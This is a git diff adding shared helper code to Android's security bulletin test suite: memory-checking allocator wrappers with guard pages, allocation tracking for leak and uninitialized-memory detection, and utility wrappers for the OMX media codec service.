diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 6800dc9..7082b07 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -23,14 +23,24 @@
 // exit status code
 #define EXIT_VULNERABLE 113
 
+#define FAIL_CHECK(condition) \
+  if (!(condition)) { \
+    fprintf(stderr, "Check failed:\n\t" #condition "\n\tLine: %d\n", \
+            __LINE__); \
+    exit(EXIT_FAILURE); \
+  }
+
+#define _32_BIT UINTPTR_MAX == UINT32_MAX
+#define _64_BIT UINTPTR_MAX == UINT64_MAX
+
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
-time_t start_timer(){
+inline time_t start_timer(){
   return time(NULL);
 }
 
-int timer_active(time_t timer_started){
+inline int timer_active(time_t timer_started){
   return time(NULL) < (timer_started + MAX_TEST_DURATION);
 }
 
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
new file mode 100644
index 0000000..65e1e90
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -0,0 +1,262 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include <signal.h>
+#include "memutils.h"
+
+void exit_handler(void) {
+    size_t page_size = getpagesize();
+    for (int i = 0; i < s_mem_map_index; i++) {
+        if (NULL != s_mem_map[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                              (s_mem_map[i].num_pages * page_size));
+        }
+    }
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+    for (int i = 0; i < MAX_ENTRIES; i++) {
+        if (NULL != s_free_list[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_free_list[i].start_ptr,
+                    (s_free_list[i].num_pages * page_size));
+            real_free(s_free_list[i].start_ptr);
+            memset(&s_free_list[i], 0, sizeof(map_struct_t));
+        }
+    }
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    exit_handler();
+    (*old_sa.sa_sigaction)(signum, info, context);
+}
+
+void sighandler_init(void) {
+    sigemptyset(&new_sa.sa_mask);
+    new_sa.sa_flags = SA_SIGINFO;
+    new_sa.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_sa, &old_sa);
+}
+
+void memutils_init(void) {
+    real_memalign = dlsym(RTLD_NEXT, "memalign");
+    if (NULL == real_memalign) {
+        return;
+    }
+#ifndef DISABLE_MALLOC_OVERLOADING
+    real_calloc = dlsym(RTLD_NEXT, "calloc");
+    if (NULL == real_calloc) {
+        return;
+    }
+    real_malloc = dlsym(RTLD_NEXT, "malloc");
+    if (NULL == real_malloc) {
+        return;
+    }
+    real_realloc = dlsym(RTLD_NEXT, "realloc");
+    if (NULL == real_realloc) {
+        return;
+    }
+#endif /* DISABLE_MALLOC_OVERLOADING */
+    real_free = dlsym(RTLD_NEXT, "free");
+    if (NULL == real_free) {
+        return;
+    }
+    memset(&s_mem_map, 0, MAX_ENTRIES * sizeof(map_struct_t));
+    sighandler_init();
+    atexit(exit_handler);
+    s_memutils_initialized = 1;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+        return real_memalign(alignment, size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    char* start_ptr;
+    char* mem_ptr;
+    size_t total_size;
+    size_t aligned_size = size;
+    size_t num_pages;
+    size_t page_size = getpagesize();
+
+    if (s_mem_map_index == MAX_ENTRIES) {
+        return real_memalign(alignment, size);
+    }
+
+    if (alignment > page_size) {
+        return real_memalign(alignment, size);
+    }
+
+    if ((0 == page_size) || (0 == alignment) || (0 == size)) {
+        return real_memalign(alignment, size);
+    }
+#ifdef CHECK_OVERFLOW
+    /* User specified alignment is not respected and is overridden by
+     * MINIMUM_ALIGNMENT. This is required to catch OOB read when read offset
+     * is less than user specified alignment. "MINIMUM_ALIGNMENT" helps to
+     * avoid bus errors due to non-aligned memory.                         */
+    if (0 != (size % MINIMUM_ALIGNMENT)) {
+        aligned_size = size + (MINIMUM_ALIGNMENT - (size % MINIMUM_ALIGNMENT));
+    }
+#endif
+
+    if (0 != (aligned_size % page_size)) {
+        num_pages = (aligned_size / page_size) + 2;
+    } else {
+        num_pages = (aligned_size / page_size) + 1;
+    }
+
+    total_size = (num_pages * page_size);
+    start_ptr = (char *) real_memalign(page_size, total_size);
+#ifdef CHECK_OVERFLOW
+    mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
+    DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
+#endif /* CHECK_OVERFLOW */
+#ifdef CHECK_UNDERFLOW
+    mem_ptr = (char *) start_ptr + page_size;
+    DISABLE_MEM_ACCESS(start_ptr, page_size);
+#endif /* CHECK_UNDERFLOW */
+    s_mem_map[s_mem_map_index].start_ptr = start_ptr;
+    s_mem_map[s_mem_map_index].mem_ptr = mem_ptr;
+    s_mem_map[s_mem_map_index].num_pages = num_pages;
+    s_mem_map[s_mem_map_index].mem_size = size;
+    s_mem_map_index++;
+    memset(mem_ptr, INITIAL_VAL, size);
+    return mem_ptr;
+}
+
+#ifndef DISABLE_MALLOC_OVERLOADING
+void *malloc(size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+        return real_malloc(size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    return memalign(MINIMUM_ALIGNMENT, size);
+}
+
+void *calloc(size_t nitems, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+        return real_calloc(nitems, size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    void *ptr = memalign(sizeof(size_t), (nitems * size));
+    if (ptr)
+        memset(ptr, 0, (nitems * size));
+    return ptr;
+}
+
+void *realloc(void *ptr, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_REALLOC_CHECK) != ENABLE_REALLOC_CHECK) {
+        return real_realloc(ptr, size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    if (ptr != NULL) {
+        int i = 0;
+        for (i = 0; i < s_mem_map_index; i++) {
+            if (ptr == s_mem_map[i].mem_ptr) {
+                void* temp = malloc(size);
+                if (temp == NULL) {
+                    return NULL;
+                }
+                if (s_mem_map[i].mem_size > size) {
+                    memcpy(temp, ptr, size);
+                } else {
+                    memcpy(temp, ptr, s_mem_map[i].mem_size);
+                }
+                free(s_mem_map[i].mem_ptr);
+                return temp;
+            }
+        }
+    }
+    return real_realloc(ptr, size);
+}
+#endif /* DISABLE_MALLOC_OVERLOADING */
+
+void free(void *ptr) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_FREE_CHECK) != ENABLE_FREE_CHECK) {
+        return real_free(ptr);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    if (ptr != NULL) {
+        int i = 0;
+        size_t page_size = getpagesize();
+        for (i = 0; i < s_mem_map_index; i++) {
+            if (ptr == s_mem_map[i].mem_ptr) {
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+                s_free_list[s_free_write_index].start_ptr =
+                s_mem_map[i].start_ptr;
+                s_free_list[s_free_write_index].mem_ptr = s_mem_map[i].mem_ptr;
+                s_free_list[s_free_write_index].num_pages =
+                s_mem_map[i].num_pages;
+                s_free_list[s_free_write_index].mem_size = s_mem_map[i].mem_size;
+                s_free_write_index++;
+                s_free_list_size += s_mem_map[i].mem_size;
+                DISABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                        (s_mem_map[i].num_pages * page_size));
+                memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+                while (s_free_list_size > CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE) {
+                    ENABLE_MEM_ACCESS(
+                            s_free_list[s_free_read_index].start_ptr,
+                            (s_free_list[s_free_read_index].num_pages * page_size));
+                    real_free(s_free_list[s_free_read_index].start_ptr);
+                    s_free_list_size -= s_free_list[s_free_read_index].mem_size;
+                    memset(&s_free_list[s_free_read_index], 0,
+                            sizeof(map_struct_t));
+                    s_free_read_index++;
+                    if ((s_free_read_index == MAX_ENTRIES)
+                            || (s_free_read_index >= s_free_write_index)) {
+                        break;
+                    }
+                }
+                return;
+#else
+                ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                                  (s_mem_map[i].num_pages * page_size));
+                real_free(s_mem_map[i].start_ptr);
+                memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+                return;
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+            }
+        }
+    }
+    real_free(ptr);
+    return;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
new file mode 100644
index 0000000..4d3791e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES        (1024 * 1024)
+#define INITIAL_VAL        (0xBE)
+#define MINIMUM_ALIGNMENT  (16)
+
+#define DISABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_NONE);
+
+#define ENABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_READ | PROT_WRITE);
+
+#define ENABLE_NONE               0x00
+#define ENABLE_MEMALIGN_CHECK     0x01
+#define ENABLE_MALLOC_CHECK       0x02
+#define ENABLE_CALLOC_CHECK       0x04
+#define ENABLE_REALLOC_CHECK      0x08
+#define ENABLE_FREE_CHECK         0x10
+#define ENABLE_ALL                ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+    ENABLE_CALLOC_CHECK | ENABLE_REALLOC_CHECK | ENABLE_FREE_CHECK
+
+typedef struct _map_struct_t {
+    void *start_ptr;
+    void *mem_ptr;
+    int num_pages;
+    size_t mem_size;
+} map_struct_t;
+
+static void* (*real_memalign)(size_t, size_t) = NULL;
+#ifndef DISABLE_MALLOC_OVERLOADING
+static void* (*real_calloc)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+#endif /* DISABLE_MALLOC_OVERLOADING */
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int s_mem_map_index = 0;
+static struct sigaction new_sa, old_sa;
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+static int s_free_write_index = 0;
+static int s_free_read_index = 0;
+static int s_free_list_size = 0;
+map_struct_t s_free_list[MAX_ENTRIES];
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+map_struct_t s_mem_map[MAX_ENTRIES];
+#if (!(defined CHECK_OVERFLOW) && !(defined CHECK_UNDERFLOW))
+    #error "CHECK MACROS NOT DEFINED"
+#endif
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
new file mode 100644
index 0000000..34df821
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include "common.h"
+#include "memutils_track.h"
+
+void memutils_init(void) {
+    real_memalign = dlsym(RTLD_NEXT, "memalign");
+    if (!real_memalign) {
+        return;
+    }
+    real_malloc = dlsym(RTLD_NEXT, "malloc");
+    if (!real_malloc) {
+        return;
+    }
+    real_free = dlsym(RTLD_NEXT, "free");
+    if (!real_free) {
+        return;
+    }
+
+#ifdef CHECK_MEMORY_LEAK
+    real_calloc = dlsym(RTLD_NEXT, "calloc");
+    if (!real_calloc) {
+        return;
+    }
+    atexit(exit_vulnerable_if_memory_leak_detected);
+#endif /* CHECK_MEMORY_LEAK */
+
+    s_memutils_initialized = true;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_memalign(alignment, size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+    if(mem_ptr) {
+        memset(mem_ptr, INITIAL_VAL, size);
+    }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required(size)) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void *malloc(size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_malloc(size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+    if(mem_ptr) {
+        memset(mem_ptr, INITIAL_VAL, size);
+    }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required(size)) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void free(void *ptr) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    if (ptr) {
+        for (int i = 0; i < s_allocation_index; ++i) {
+            if (ptr == s_allocation_list[i].mem_ptr) {
+                real_free(ptr);
+                memset(&s_allocation_list[i], 0,
+                       sizeof(allocated_memory_struct));
+                return;
+            }
+        }
+    }
+    return real_free(ptr);
+}
+
+#ifdef CHECK_MEMORY_LEAK
+void *calloc(size_t nitems, size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_calloc(nitems, size);
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required((nitems *size))) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = nitems * size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void exit_vulnerable_if_memory_leak_detected(void) {
+    bool memory_leak_detected = false;
+    for (int i = 0; i < s_allocation_index; ++i) {
+        if (s_allocation_list[i].mem_ptr) {
+            real_free(s_allocation_list[i].mem_ptr);
+            memset(&s_allocation_list[i], 0,
+                    sizeof(allocated_memory_struct));
+            memory_leak_detected = true;
+        }
+    }
+    if(memory_leak_detected) {
+        exit(EXIT_VULNERABLE);
+    }
+    return;
+}
+#endif /* CHECK_MEMORY_LEAK */
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+bool is_memory_uninitialized() {
+    for (int i = 0; i < s_allocation_index; ++i) {
+        uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
+        size_t mem_size = s_allocation_list[i].mem_size;
+        if (mem_ptr) {
+
+#ifdef CHECK_FOUR_BYTES
+            if(mem_size > (2 * sizeof(uint32_t))) {
+                uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+                uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
+                for (size_t j = 0; j < sizeof(uint32_t); ++j) {
+                    if (*mem_ptr_start++ == INITIAL_VAL) {
+                        return true;
+                    }
+                    if (*mem_ptr_end-- == INITIAL_VAL) {
+                        return true;
+                    }
+                }
+                continue;
+            }
+#endif /* CHECK_FOUR_BYTES */
+
+            for (size_t j = 0; j < mem_size; ++j) {
+                if (*mem_ptr++ == INITIAL_VAL) {
+                    return true;
+                }
+            }
+        }
+    }
+    return false;
+}
+
+#endif /* CHECK_UNINITIALIZED_MEMORY */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
new file mode 100644
index 0000000..dff76e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES               (32 * 1024)
+#define INITIAL_VAL               0xBE
+
+#define ENABLE_NONE               0x00
+#define ENABLE_MEMALIGN_CHECK     0x01
+#define ENABLE_MALLOC_CHECK       0x02
+#define ENABLE_CALLOC_CHECK       0x04
+#define ENABLE_ALL                ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+    ENABLE_CALLOC_CHECK
+
+typedef struct {
+    void *mem_ptr;
+    size_t mem_size;
+} allocated_memory_struct;
+
+static bool s_memutils_initialized = false;
+static int s_allocation_index = 0;
+static allocated_memory_struct s_allocation_list[MAX_ENTRIES] = { { 0, 0 } };
+
+extern bool is_tracking_required(size_t size);
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+#ifdef CHECK_MEMORY_LEAK
+static void* (*real_calloc)(size_t, size_t) = NULL;
+void exit_vulnerable_if_memory_leak_detected(void);
+#endif
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+extern bool is_memory_uninitialized();
+#endif
+
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
new file mode 100644
index 0000000..ac28dba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
@@ -0,0 +1,177 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "omxUtils.h"
+
+sp<IMediaPlayerService> mediaPlayerService = NULL;
+sp<IOMXNode> mOMXNode = 0;
+sp<IOMX> mOMX;
+omx_message msg;
+Mutex mLock;
+Condition mMessageAddedCondition;
+int32_t mLastMsgGeneration;
+int32_t mCurGeneration;
+List<omx_message> mMessageQueue;
+int numCallbackEmptyBufferDone;
+
+struct CodecObserver : public BnOMXObserver {
+ public:
+    CodecObserver(int32_t gen)
+            : mGeneration(gen) {
+    }
+
+    void onMessages(const std::list<omx_message> &messages) override;
+    int32_t mGeneration;
+
+ protected:
+    virtual ~CodecObserver() {
+    }
+};
+void handleMessages(int32_t gen, const std::list<omx_message> &messages) {
+    Mutex::Autolock autoLock(mLock);
+    for (std::list<omx_message>::const_iterator it = messages.cbegin();
+            it != messages.cend();) {
+        mMessageQueue.push_back(*it);
+        const omx_message &msg = *it++;
+        if (msg.type == omx_message::EMPTY_BUFFER_DONE) {
+            numCallbackEmptyBufferDone++;
+        }
+        mLastMsgGeneration = gen;
+    }
+    mMessageAddedCondition.signal();
+}
+void CodecObserver::onMessages(const std::list<omx_message> &messages) {
+    handleMessages(mGeneration, messages);
+}
+
+struct DeathNotifier : public IBinder::DeathRecipient,
+        public ::android::hardware::hidl_death_recipient {
+    explicit DeathNotifier() {
+    }
+    virtual void binderDied(const wp<IBinder> &) {
+        ALOGE("Binder Died");
+        exit (EXIT_FAILURE);
+    }
+    virtual void serviceDied(
+            uint64_t /* cookie */,
+            const wp<::android::hidl::base::V1_0::IBase>& /* who */) {
+        ALOGE("Service Died");
+        exit (EXIT_FAILURE);
+    }
+};
+sp<DeathNotifier> mDeathNotifier;
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs) {
+    int64_t finishBy = ALooper::GetNowUs() + timeoutUs;
+    status_t err = OK;
+
+    while (err != TIMED_OUT) {
+        Mutex::Autolock autoLock(mLock);
+        if (mLastMsgGeneration < mCurGeneration) {
+            mMessageQueue.clear();
+        }
+        // Messages are queued in batches, if the last batch queued is
+        // from a node that already expired, discard those messages.
+        List<omx_message>::iterator it = mMessageQueue.begin();
+        while (it != mMessageQueue.end()) {
+            *msg = *it;
+            mMessageQueue.erase(it);
+            return OK;
+        }
+        if (timeoutUs < 0) {
+            err = mMessageAddedCondition.wait(mLock);
+        } else {
+            err = mMessageAddedCondition.waitRelative(
+                    mLock, (finishBy - ALooper::GetNowUs()) * 1000);
+        }
+    }
+    return err;
+}
+void omxUtilsCheckCmdExecution(char *name) {
+    status_t err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+    if (err == TIMED_OUT) {
+        ALOGE("[omxUtils] OMX command timed out for %s, exiting the app", name);
+        exit (EXIT_FAILURE);
+    }
+}
+void omxExitOnError(status_t ret) {
+    if (ret != OK) {
+        exit (EXIT_FAILURE);
+    }
+}
+status_t omxUtilsInit(char *codecName) {
+    android::ProcessState::self()->startThreadPool();
+    using namespace ::android::hardware::media::omx::V1_0;
+    sp<IOmx> tOmx = IOmx::getService();
+    if (tOmx == nullptr) {
+        return NO_INIT;
+    }
+    mOMX = new utils::LWOmx(tOmx);
+    sp<CodecObserver> observer = new CodecObserver(++mCurGeneration);
+    status_t ret = mOMX->allocateNode(codecName, observer, &mOMXNode);
+    if (ret == OK) {
+        mDeathNotifier = new DeathNotifier();
+        auto tOmxNode = mOMXNode->getHalInterface();
+        if (tOmxNode != NULL) {
+            tOmxNode->linkToDeath(mDeathNotifier, 0);
+        } else {
+            ALOGE("No HAL Interface");
+            exit (EXIT_FAILURE);
+        }
+    }
+    numCallbackEmptyBufferDone = 0;
+    return ret;
+}
+status_t omxUtilsGetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params) {
+    InitOMXParams(params);
+    params->nPortIndex = portIndex;
+    return mOMXNode->getParameter(OMX_IndexParamPortDefinition, params,
+                                  sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params) {
+    InitOMXParams(params);
+    params->nPortIndex = portIndex;
+    return mOMXNode->setParameter(OMX_IndexParamPortDefinition, params,
+                                  sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetPortMode(OMX_U32 portIndex, IOMX::PortMode mode) {
+    return mOMXNode->setPortMode(portIndex, mode);
+}
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+                           android::BnOMX::buffer_id *buffer) {
+    return mOMXNode->useBuffer(portIndex, omxBuf, buffer);
+}
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param) {
+    int ret = mOMXNode->sendCommand(cmd, param);
+    omxUtilsCheckCmdExecution((char *) __FUNCTION__);
+    return ret;
+}
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+                             const OMXBuffer &omxBuf, OMX_U32 flags,
+                             OMX_TICKS timestamp, int fenceFd) {
+    return mOMXNode->emptyBuffer(buffer, omxBuf, flags, timestamp, fenceFd);
+}
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer,
+                            const OMXBuffer &omxBuf, int fenceFd) {
+    return mOMXNode->fillBuffer(buffer, omxBuf, fenceFd);
+}
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+                            android::BnOMX::buffer_id buffer) {
+    return mOMXNode->freeBuffer(portIndex, buffer);
+}
+status_t omxUtilsFreeNode() {
+    return mOMXNode->freeNode();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
new file mode 100644
index 0000000..16d7978
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -0,0 +1,87 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <ui/GraphicBuffer.h>
+#include <android/hardware/media/omx/1.0/IOmx.h>
+#include <android/hardware/media/omx/1.0/IOmxNode.h>
+#include <android/hardware/media/omx/1.0/IOmxObserver.h>
+#include <android/hardware/media/omx/1.0/types.h>
+#include <android/hidl/allocator/1.0/IAllocator.h>
+#include <android/hidl/memory/1.0/IMapper.h>
+#include <android/hidl/memory/1.0/IMemory.h>
+#include <android/IGraphicBufferSource.h>
+#include <android/IOMXBufferSource.h>
+#include <media/omx/1.0/WOmx.h>
+#include <binder/MemoryDealer.h>
+#include "HardwareAPI.h"
+#include "OMX_Component.h"
+#include <binder/ProcessState.h>
+#include <media/stagefright/foundation/ALooper.h>
+#include <utils/List.h>
+#include <utils/Vector.h>
+#include <utils/threads.h>
+#include <inttypes.h>
+#include <utils/Log.h>
+
